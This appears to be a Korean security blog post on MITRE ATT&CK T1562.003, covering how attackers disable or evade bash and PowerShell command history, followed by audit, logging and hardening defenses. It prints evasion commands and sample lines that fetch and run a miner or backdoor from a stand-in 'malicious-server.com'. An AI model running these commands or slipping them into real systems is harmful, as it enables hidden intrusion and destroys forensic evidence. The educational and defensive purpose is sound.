명령 히스토리 삭제 공격 기법: APT38 사례로 배우는 은폐 원리 | T1562.003
APT38은 공격 후 bash history를 삭제해 흔적을 지웠다. 명령 히스토리 로깅을 무력화하는 6가지 기법과 우회 불가능한 탐지 방법.
MITRE ATT&CK 조사에 따르면 전 세계 APT 그룹 중 56%가 침투 후 흔적을 지우기 위해 명령 히스토리 조작 기법을 사용한다. Linux와 macOS에서는 터미널에 입력한 모든 명령이 히스토리 파일에 기록된다. 공격자들은 이 로깅 메커니즘을 무력화하여 포렌식 분석을 어렵게 만든다.
시스템 관리자가 침해 사고 후 history 명령을 입력했을 때 아무것도 나오지 않는다면, 그것은 우연이 아니다. 공격자가 의도적으로 자신의 활동 기록을 삭제했을 가능성이 높다. 이것이 바로 MITRE ATT&CK T1562.003 "Impair Command History Logging" 기법이다.
명령 히스토리 로깅은 사용자가 터미널에서 실행한 명령을 시간순으로 기록하는 시스템이다. 이 메커니즘은 사용자 편의성과 시스템 감사를 위해 설계되었지만, 동시에 공격자에게는 자신의 활동을 숨겨야 할 대상이 되었다.
Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. — MITRE ATT&CK T1562.003
MITRE의 공식 정의에 따르면, 적대자는 명령 히스토리 로깅을 손상시켜 실행한 명령을 숨길 수 있다. 다양한 명령 해석기는 사용자가 터미널에 입력한 명령을 추적하여 수행한 작업을 되짚어볼 수 있도록 한다.
| 용어 | 설명 |
|---|---|
| Command History | 역할: 실행된 명령의 기록 / 저장 위치: 메모리 + 파일 / 지속성: 세션 종료 시 파일 저장 |
| HISTFILE | 역할: 히스토리 파일 경로 지정 / 저장 위치: 환경 변수 / 지속성: 사용자 설정에 따라 지속 |
| HISTSIZE | 역할: 메모리 내 히스토리 크기 / 저장 위치: 환경 변수 / 지속성: 세션 동안만 유효 |
| HISTFILESIZE | 역할: 파일 내 히스토리 크기 / 저장 위치: 환경 변수 / 지속성: 파일에 영구 저장 |
| HISTCONTROL | 역할: 히스토리 저장 정책 / 저장 위치: 환경 변수 / 지속성: 세션별 설정 |
Linux와 macOS 시스템에서 Bash 쉘은 다층적인 히스토리 관리 시스템을 운영한다. 사용자가 명령을 입력하면 다음과 같은 과정을 거친다:
HISTFILE 변수의 역할
# 기본 설정 확인
echo $HISTFILE
# 출력: /home/user/.bash_history
# 히스토리 파일 위치 변경
export HISTFILE=/tmp/my_history
HISTFILE 환경 변수는 명령 히스토리가 저장될 파일의 위치와 이름을 지정한다. 기본값은 사용자 홈 디렉토리의 .bash_history 파일이다.
HISTCONTROL의 정교한 필터링
# 현재 HISTCONTROL 설정 확인
echo $HISTCONTROL
# macOS 기본값: (설정되지 않음)
# Linux 기본값: ignoredups (배포판별 상이)
# 다양한 HISTCONTROL 옵션
export HISTCONTROL=ignorespace # 공백으로 시작하는 명령 무시
export HISTCONTROL=ignoredups # 중복 명령 무시
export HISTCONTROL=ignoreboth # 공백 시작 + 중복 모두 무시
export HISTCONTROL=erasedups # 중복 명령을 히스토리에서 완전 삭제
The HISTCONTROL environment variable tracks what should be saved by the history command and eventually into the ~/.bash_history file when the user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user. — MITRE ATT&CK T1562.003
HISTCONTROL은 어떤 명령을 히스토리로 저장할지 결정하는 정책 변수다. macOS에서는 기본적으로 존재하지 않지만 사용자가 설정할 수 있다.
# 현재 세션의 히스토리 크기 확인
echo $HISTSIZE
# 일반적인 값: 1000
# 파일에 저장할 히스토리 크기 확인
echo $HISTFILESIZE
# 일반적인 값: 500-2000
Bash는 세션 종료 시 다음과 같은 알고리즘으로 히스토리를 저장한다:
$HISTSIZE개 명령 수집histappend 옵션 확인
$HISTFILESIZE를 초과하면 오래된 항목부터 삭제# histappend 옵션 확인
shopt histappend
# 출력 예: histappend on
# histappend 활성화 (권장)
shopt -s histappend
Windows 환경에서는 PowerShell이 다른 메커니즘을 사용한다:
# PowerShell 히스토리 파일 위치 확인
(Get-PSReadLineOption).HistorySavePath
# 출력: C:\Users\username\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# 현재 세션 히스토리 확인
Get-History
PowerShell은 PSReadLine 모듈을 통해 명령 히스토리를 관리하며, 기본적으로 모든 명령이 ConsoleHost_history.txt 파일에 저장된다.
공격자들이 가장 선호하는 방법은 시스템 침투 직후 히스토리 로깅을 완전히 비활성화하는 것이다.
HISTFILE 경로 조작
# 히스토리를 /dev/null로 리디렉션 (Linux/macOS)
export HISTFILE=/dev/null
# 히스토리 파일 자체를 삭제
unset HISTFILE
# 존재하지 않는 디렉토리로 설정
export HISTFILE=/nonexistent/path/history
크기 변수 조작
# 히스토리 크기를 0으로 설정
export HISTSIZE=0
export HISTFILESIZE=0
# 현재 세션 히스토리 즉시 삭제
history -c
# 히스토리 파일 직접 삭제
rm ~/.bash_history
2024년 7월, Wiz 리서치팀이 발견한 SeleniumGreed 암호화폐 채굴 공격에서 T1562.003 기법이 직접 사용되었다.
#!/bin/bash
# SeleniumGreed 공격에서 사용된 실제 코드 (단순화)
# 히스토리 로깅 완전 비활성화
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
# 기존 히스토리 삭제
history -c
rm -f ~/.bash_history
# 악성 활동 수행 (암호화폐 채굴)
wget http://malicious-server.com/xmrig
chmod +x xmrig
./xmrig --pool=pool.server.com
In the SeleniumGreed attack campaign (July 2024), adversaries set the HISTFILE environment variable to /dev/null to disable command logging for interactive shell sessions. — Wiz Research
# PowerShell 히스토리 저장 비활성화
Set-PSReadLineOption -HistorySaveStyle SaveNothing
# 히스토리 파일 경로 변경
Set-PSReadLineOption -HistorySavePath "C:\temp\fake_history.txt"
# 기존 히스토리 파일 삭제
Remove-Item -Path (Get-PSReadLineOption).HistorySavePath -Force
공격자들은 HISTCONTROL의 정상적인 기능을 악용하여 특정 명령만 선택적으로 숨긴다:
# 공백으로 시작하는 명령은 히스토리에 저장되지 않음
export HISTCONTROL=ignorespace
# 공격 명령들을 공백으로 시작 (히스토리에 기록되지 않음)
wget http://malicious-server.com/backdoor
chmod +x backdoor
./backdoor &
rm backdoor
# 정상 명령 (히스토리에 기록됨)
ls -la
ps aux
정상적인 관리 활동은 히스토리에 남아있어 의심을 피한다. 악성 활동만 선택적으로 숨길 수 있어 더욱 정교한 은폐가 가능하다.
1. 시스템 모니터링 기반 탐지
# 의심스러운 환경 변수 변경 모니터링
auditctl -w /proc/*/environ -p wa -k env_changes
# 히스토리 파일 삭제/변경 모니터링
auditctl -w /home/*/.bash_history -p wxa -k history_tampering
auditctl -w /root/.bash_history -p wxa -k history_tampering
# 의심스러운 HISTCONTROL 설정 탐지
grep -r "HISTCONTROL.*ignore" /home/*/.bashrc /root/.bashrc
2. PowerShell 환경 모니터링
# PowerShell 히스토리 설정 변경 모니터링
# 이벤트 로그에서 PSReadLine 설정 변경 탐지
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} |
Where-Object {$_.Message -like "*HistorySaveStyle*" -or $_.Message -like "*HistorySavePath*"}
3. 중앙화된 로깅 구현
# rsyslog를 통한 명령 로깅 (히스토리 조작과 독립적)
# /etc/rsyslog.conf에 추가
$ModLoad imuxsock
*.* @@log-server:514
# 모든 bash 명령을 syslog로 전송하는 함수
export PROMPT_COMMAND='history 1 | logger -p user.info -t "bash_history[$$]"'
4. 보안 강화 설정
# 히스토리 파일을 읽기 전용으로 설정
chattr +a ~/.bash_history # append-only 속성
# 히스토리 크기 강제 설정 (시스템 전체)
echo 'export HISTSIZE=10000' >> /etc/profile
echo 'export HISTFILESIZE=10000' >> /etc/profile
# HISTCONTROL 정책 강제 적용
echo 'export HISTCONTROL=""' >> /etc/profile
시스템 관리자용 방어 체크리스트:
T1562.003 명령 히스토리 로깅 손상 기법은 공격자가 시스템 침투 후 자신의 활동 흔적을 지우기 위해 사용하는 핵심적인 방어 회피 기술이다. 단순해 보이는 환경 변수 조작이지만, SeleniumGreed 같은 실제 공격에서 효과적으로 활용되고 있어 시스템 관리자들의 주의가 필요하다.
이 기법은 T1562 방어 무력화 전술의 일부로, 공격자들이 T1003 자격증명 덤핑이나 T1059 스크립트 기반 공격 수행 후 증거를 인멸하는 단계에서 주로 사용된다.
다음에는 공격자들이 Windows 이벤트 로깅을 무력화하는 T1562.002 Windows Event Logging 비활성화 기법과 시스템 방화벽을 조작하는 방법들을 살펴보겠다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.